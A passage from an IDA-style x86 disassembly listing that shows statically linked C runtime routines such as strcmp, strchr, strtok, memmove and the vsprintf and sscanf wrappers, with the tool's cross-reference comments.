loc_422616 ; --------------------------------------------------------------------------- loc_422611: ; CODE XREF: sub_422590+9Ej ; sub_422590+B8j mov [edi], edx add edi, 4 loc_422616: ; CODE XREF: sub_422590+6Bj ; sub_422590+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_422611 test dl, dl jz short loc_422668 test dh, dh jz short loc_42265F test edx, 0FF0000h jz short loc_422652 test edx, 0FF000000h jz short loc_42264A jmp short loc_422611 ; --------------------------------------------------------------------------- loc_42264A: ; CODE XREF: sub_422590+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_422652: ; CODE XREF: sub_422590+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_42265F: ; CODE XREF: sub_422590+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_422668: ; CODE XREF: sub_422590+72j ; sub_422590+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_422590 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422680 loc_422670: ; CODE XREF: sub_422680+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_422680 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422680 proc near ; CODE XREF: sub_4021E5+617p ; sub_4021E5+730p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00422670 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_422686: ; CODE XREF: sub_421B10+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_4226AB loc_422698: ; CODE XREF: sub_422680+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_422670 test cl, cl jz short loc_4226F4 test edx, 3 jnz short loc_422698 loc_4226AB: ; CODE XREF: sub_422680+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_4226B6: ; CODE XREF: sub_422680+61j ; sub_422680+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_4226F8 and eax, 81010100h jz short loc_4226B6 and eax, 1010100h jnz short loc_4226F2 and esi, 80000000h jnz short loc_4226B6 loc_4226F2: ; CODE XREF: sub_422680+68j ; sub_422680+81j ... pop esi pop edi loc_4226F4: ; CODE XREF: sub_422680+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4226F8: ; CODE XREF: sub_422680+5Aj mov eax, [edx-4] cmp al, bl jz short loc_422735 test al, al jz short loc_4226F2 cmp ah, bl jz short loc_42272E test ah, ah jz short loc_4226F2 shr eax, 10h cmp al, bl jz short loc_422727 test al, al jz short loc_4226F2 cmp ah, bl jz short loc_422720 test ah, ah jz short loc_4226F2 jmp short loc_4226B6 ; --------------------------------------------------------------------------- loc_422720: ; CODE XREF: sub_422680+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_422727: ; CODE XREF: sub_422680+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_42272E: ; CODE XREF: sub_422680+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_422735: ; CODE XREF: sub_422680+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_422680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422740 proc near ; CODE XREF: sub_4021E5+2A1p ; sub_4021E5+2FDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_42278C loc_422750: ; CODE XREF: sub_422740+3Cj ; sub_422740+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_422784 or al, al jz short loc_422780 cmp ah, [ecx+1] jnz short loc_422784 or ah, ah jz short loc_422780 shr eax, 10h cmp al, [ecx+2] jnz short loc_422784 or al, al jz short loc_422780 cmp ah, [ecx+3] jnz short loc_422784 add ecx, 4 add edx, 4 or ah, ah jnz short loc_422750 mov edi, edi loc_422780: ; CODE XREF: sub_422740+18j ; sub_422740+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_422784: ; CODE XREF: sub_422740+14j ; sub_422740+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_42278C: ; CODE XREF: sub_422740+Ej test edx, 1 jz short loc_4227A8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_422784 inc ecx or al, al jz short loc_422780 test edx, 2 jz short loc_422750 loc_4227A8: ; CODE XREF: sub_422740+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_422784 or al, al jz short loc_422780 cmp ah, [ecx+1] jnz short loc_422784 or ah, ah jz short loc_422780 add ecx, 2 jmp short loc_422750 sub_422740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227D0 proc near ; CODE XREF: sub_4021E5+DAp ; sub_4021E5+110p ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_42B630 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_4227F6 ; --------------------------------------------------------------------------- loc_4227ED: ; CODE XREF: sub_4227D0+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4227F6: ; CODE XREF: sub_4227D0+1Bj cmp [ebp+var_C], 20h jge short loc_422806 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_4227ED ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227D0+2Aj ; sub_4227D0+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_422806 cmp [ebp+arg_0], 0 jz short loc_422859 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_422862 ; --------------------------------------------------------------------------- loc_422859: ; CODE XREF: sub_4227D0+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_422862: ; CODE XREF: sub_4227D0+87j ; sub_4227D0+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_4228A1 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_4228A1 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_422862 ; --------------------------------------------------------------------------- loc_4228A1: ; CODE XREF: sub_4227D0+B9j ; sub_4227D0+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_4228B2 ; --------------------------------------------------------------------------- loc_4228A9: ; CODE XREF: sub_4227D0:loc_4228F7j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4228B2: ; CODE XREF: sub_4227D0+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_4228F9 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_4228F7 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4228F9 ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4227D0+114j jmp short loc_4228A9 ; --------------------------------------------------------------------------- loc_4228F9: ; CODE XREF: sub_4227D0+EBj ; sub_4227D0+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_42290E xor eax, eax jmp short loc_422911 ; --------------------------------------------------------------------------- loc_42290E: ; CODE XREF: sub_4227D0+138j mov eax, [ebp+arg_0] loc_422911: ; CODE XREF: sub_4227D0+13Cj mov esp, ebp pop ebp retn sub_4227D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422920 proc near ; CODE XREF: sub_40AFBE+27p ; sub_417472+24p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_42292F: ; CODE XREF: sub_422920+37j cmp [ebp+arg_0], 0 jnz short loc_422953 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_422953 int 3 ; Trap to Debugger loc_422953: ; CODE XREF: sub_422920+13j ; sub_422920+30j xor ecx, ecx test ecx, ecx jnz short loc_42292F loc_422959: ; CODE XREF: sub_422920+61j cmp [ebp+arg_8], 0 jnz short loc_42297D push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42297D int 3 ; Trap to Debugger loc_42297D: ; CODE XREF: sub_422920+3Dj ; sub_422920+5Aj xor edx, edx test edx, edx jnz short loc_422959 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_42A6B0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_4229F8 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_422A09 ; --------------------------------------------------------------------------- loc_4229F8: ; CODE XREF: sub_422920+B4j mov edx, [ebp+var_24] push edx push 0 call sub_42A430 add esp, 8 mov [ebp+var_2C], eax loc_422A09: ; CODE XREF: sub_422920+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422A20 proc near ; CODE XREF: sub_40CDB9+A1p ; sub_40DC2A+BDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_422AD4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_422A4A loc_422A3B: ; CODE XREF: sub_422A20+28j mov al, [edi] inc edi test al, al jz short loc_422A7B test edi, 3 jnz short loc_422A3B loc_422A4A: ; CODE XREF: sub_422A20+19j ; sub_422A20+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_422A4A mov eax, [edi-4] test al, al jz short loc_422A88 test ah, ah jz short loc_422A83 test eax, 0FF0000h jz short loc_422A7E test eax, 0FF000000h jnz short loc_422A4A loc_422A7B: ; CODE XREF: sub_422A20+20j dec edi jmp short loc_422A8B ; --------------------------------------------------------------------------- loc_422A7E: ; CODE XREF: sub_422A20+52j sub edi, 2 jmp short loc_422A8B ; --------------------------------------------------------------------------- loc_422A83: ; CODE XREF: sub_422A20+4Bj sub edi, 3 jmp short loc_422A8B ; --------------------------------------------------------------------------- loc_422A88: ; CODE XREF: sub_422A20+47j sub edi, 4 loc_422A8B: ; CODE XREF: sub_422A20+5Cj ; sub_422A20+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_422AA0 mov ebx, ecx shr ecx, 2 jnz short loc_422AEC jmp short loc_422ABC ; --------------------------------------------------------------------------- loc_422AA0: ; CODE XREF: sub_422A20+75j ; sub_422A20+93j mov dl, [esi] inc esi test dl, dl jz short loc_422ADA mov [edi], dl inc edi dec ecx jz short loc_422AD0 test esi, 3 jnz short loc_422AA0 mov ebx, ecx shr ecx, 2 jnz short loc_422AEC loc_422ABC: ; CODE XREF: sub_422A20+7Ej ; sub_422A20+CAj mov ecx, ebx and ecx, 3 jz short loc_422AD0 loc_422AC3: ; CODE XREF: sub_422A20+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_422AD2 dec ecx jnz short loc_422AC3 loc_422AD0: ; CODE XREF: sub_422A20+8Bj ; sub_422A20+A1j mov [edi], cl loc_422AD2: ; CODE XREF: sub_422A20+ABj pop ebx pop esi loc_422AD4: ; CODE XREF: sub_422A20+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_422ADA: ; CODE XREF: sub_422A20+85j ; sub_422A20+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_422AE4: ; CODE XREF: sub_422A20+E4j ; sub_422A20+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_422ABC loc_422AEC: ; CODE XREF: sub_422A20+7Cj ; sub_422A20+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_422AE4 test dl, dl jz short loc_422ADA test dh, dh jz short loc_422B38 test edx, 0FF0000h jz short loc_422B28 test edx, 0FF000000h jnz short loc_422AE4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_422B28: ; CODE XREF: sub_422A20+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_422B38: ; CODE XREF: sub_422A20+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_422A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B50 proc near ; CODE XREF: sub_40CF37+99p ; sub_40CF37+B7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_422B70 cmp edi, eax jb loc_422CE8 loc_422B70: ; CODE XREF: sub_422B50+16j test edi, 3 jnz short loc_422B8C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_422BAC rep movsd jmp off_422C98[edx*4] ; --------------------------------------------------------------------------- loc_422B8C: ; CODE XREF: sub_422B50+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_422BA4 and eax, 3 add ecx, eax jmp dword ptr loc_422BAC+4[eax*4] ; --------------------------------------------------------------------------- loc_422BA4: ; CODE XREF: sub_422B50+46j jmp dword ptr loc_422CA8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_422BAC: ; CODE XREF: sub_422B50+31j ; sub_422B50+8Ej ... jmp off_422C2C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_422BC0 dd offset loc_422BEC dd offset loc_422C10 ; --------------------------------------------------------------------------- loc_422BC0: ; DATA XREF: sub_422B50+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_422BAC rep movsd jmp off_422C98[edx*4] ; --------------------------------------------------------------------------- align 4 loc_422BEC: ; DATA XREF: sub_422B50+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_422BAC rep movsd jmp off_422C98[edx*4] ; --------------------------------------------------------------------------- align 10h loc_422C10: ; DATA XREF: sub_422B50+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_422BAC rep movsd jmp off_422C98[edx*4] ; --------------------------------------------------------------------------- align 4 off_422C2C dd offset loc_422C8F ; DATA XREF: sub_422B50:loc_422BACr dd offset loc_422C7C dd offset loc_422C74 dd offset loc_422C6C dd offset loc_422C64 dd offset loc_422C5C dd offset loc_422C54 dd offset loc_422C4C ; --------------------------------------------------------------------------- loc_422C4C: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_422C54: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_422C5C: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_422C64: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_422C6C: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_422C74: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_422C7C: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_422C8F: ; CODE XREF: sub_422B50:loc_422BACj ; DATA XREF: sub_422B50:off_422C2Co jmp off_422C98[edx*4] ; --------------------------------------------------------------------------- align 4 off_422C98 dd offset loc_422CA8 ; DATA XREF: sub_422B50+35r ; sub_422B50+92r ... dd offset loc_422CB0 dd offset loc_422CBC dd offset loc_422CD0 ; --------------------------------------------------------------------------- loc_422CA8: ; CODE XREF: sub_422B50+35j ; sub_422B50+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_422CB0: ; CODE XREF: sub_422B50+35j ; sub_422B50+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_422CBC: ; CODE XREF: sub_422B50+35j ; sub_422B50+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_422CD0: ; CODE XREF: sub_422B50+35j ; sub_422B50+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_422CE8: ; CODE XREF: sub_422B50+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_422D1C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_422D10 std rep movsd cld jmp off_422E30[edx*4] ; --------------------------------------------------------------------------- align 10h loc_422D10: ; CODE XREF: sub_422B50+1B1j ; sub_422B50+208j ... neg ecx jmp off_422DE0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_422D1C: ; CODE XREF: sub_422B50+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_422D34 and eax, 3 sub ecx, eax jmp dword ptr loc_422D34+4[eax*4] ; --------------------------------------------------------------------------- loc_422D34: ; CODE XREF: sub_422B50+1D6j ; DATA XREF: sub_422B50+1DDr jmp off_422E30[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_422D48 dd offset loc_422D68 dd offset loc_422D90 ; --------------------------------------------------------------------------- loc_422D48: ; DATA XREF: sub_422B50+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_422D10 std rep movsd cld jmp off_422E30[edx*4] ; --------------------------------------------------------------------------- align 4 loc_422D68: ; DATA XREF: sub_422B50+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_422D10 std rep movsd cld jmp off_422E30[edx*4] ; --------------------------------------------------------------------------- align 10h loc_422D90: ; DATA XREF: sub_422B50+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_422D10 std rep movsd cld jmp off_422E30[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_422DE4 dd offset loc_422DEC dd offset loc_422DF4 dd offset loc_422DFC dd offset loc_422E04 dd offset loc_422E0C dd offset loc_422E14 off_422DE0 dd offset loc_422E27 ; DATA XREF: sub_422B50+1C2r ; --------------------------------------------------------------------------- loc_422DE4: ; DATA XREF: sub_422B50+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_422DEC: ; DATA XREF: sub_422B50+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_422DF4: ; DATA XREF: sub_422B50+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_422DFC: ; DATA XREF: sub_422B50+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_422E04: ; DATA XREF: sub_422B50+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_422E0C: ; DATA XREF: sub_422B50+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_422E14: ; DATA XREF: sub_422B50+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_422E27: ; CODE XREF: sub_422B50+1C2j ; DATA XREF: sub_422B50:off_422DE0o jmp off_422E30[edx*4] ; --------------------------------------------------------------------------- align 10h off_422E30 dd offset loc_422E40 ; DATA XREF: sub_422B50+1B7r ; sub_422B50:loc_422D34r ... dd offset loc_422E48 dd offset loc_422E58 dd offset loc_422E6C ; --------------------------------------------------------------------------- loc_422E40: ; CODE XREF: sub_422B50+1B7j ; sub_422B50:loc_422D34j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_422E48: ; CODE XREF: sub_422B50+1B7j ; sub_422B50:loc_422D34j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_422E58: ; CODE XREF: sub_422B50+1B7j ; sub_422B50:loc_422D34j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_422E6C: ; CODE XREF: sub_422B50+1B7j ; sub_422B50:loc_422D34j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_422B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E90 proc near ; CODE XREF: sub_40E7FB+43p ; .XComp0:00412960p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_422EA5: ; CODE XREF: sub_422E90+3Dj cmp [ebp+arg_0], 0 jnz short loc_422EC9 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_422EC9 int 3 ; Trap to Debugger loc_422EC9: ; CODE XREF: sub_422E90+19j ; sub_422E90+36j xor edx, edx test edx, edx jnz short loc_422EA5 loc_422ECF: ; CODE XREF: sub_422E90+67j cmp [ebp+arg_4], 0 jnz short loc_422EF3 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_422EF3 int 3 ; Trap to Debugger loc_422EF3: ; CODE XREF: sub_422E90+43j ; sub_422E90+60j xor eax, eax test eax, eax jnz short loc_422ECF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_42C5E0 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_422F50(double) sub_422F50 proc near ; CODE XREF: sub_41017F+4Cp var_1C = qword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 10h push 0FFFFh mov eax, dword_44FF10 push eax call sub_42EA40 add esp, 8 mov [ebp+var_C], eax mov ecx, dword ptr [ebp+arg_0+6] and ecx, 0FFFFh and ecx, 7FF0h cmp ecx, 7FF0h jnz loc_42300B mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_42E840 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle short loc_422FE2 cmp [ebp+var_10], 2 jle short loc_422FAE cmp [ebp+var_10], 3 jz short loc_422FC7 jmp short loc_422FE2 ; --------------------------------------------------------------------------- loc_422FAE: ; CODE XREF: sub_422F50+54j push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42EA40 add esp, 8 fld [ebp+arg_0] jmp loc_423081 ; --------------------------------------------------------------------------- loc_422FC7: ; CODE XREF: sub_422F50+5Aj mov edx, [ebp+var_C] push edx ; int mov eax, dword ptr [ebp+arg_0+4] push eax mov ecx, dword ptr [ebp+arg_0] push ecx ; double push 0Bh ; int call sub_42DB00 add esp, 10h jmp loc_423081 ; --------------------------------------------------------------------------- loc_422FE2: ; CODE XREF: sub_422F50+4Ej ; sub_422F50+5Cj mov edx, [ebp+var_C] push edx ; int fld [ebp+arg_0] fadd dbl_43ED28 sub esp, 8 fstp [esp+1Ch+var_1C] mov eax, dword ptr [ebp+arg_0+4] push eax ; int mov ecx, dword ptr [ebp+arg_0] push ecx ; int push 0Bh ; int push 8 ; int call sub_42DBD0 add esp, 1Ch jmp short loc_423081 ; --------------------------------------------------------------------------- loc_42300B: ; CODE XREF: sub_422F50+31j mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax ; double call sub_42DAE0 add esp, 8 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] fnstsw ax test ah, 40h jz short loc_423041 push 0FFFFh mov ecx, [ebp+var_C] push ecx call sub_42EA40 add esp, 8 fld [ebp+var_8] jmp short loc_423081 ; --------------------------------------------------------------------------- loc_423041: ; CODE XREF: sub_422F50+D9j mov edx, [ebp+var_C] and edx, 20h test edx, edx jz short loc_423061 push 0FFFFh mov eax, [ebp+var_C] push eax call sub_42EA40 add esp, 8 fld [ebp+var_8] jmp short loc_423081 ; --------------------------------------------------------------------------- loc_423061: ; CODE 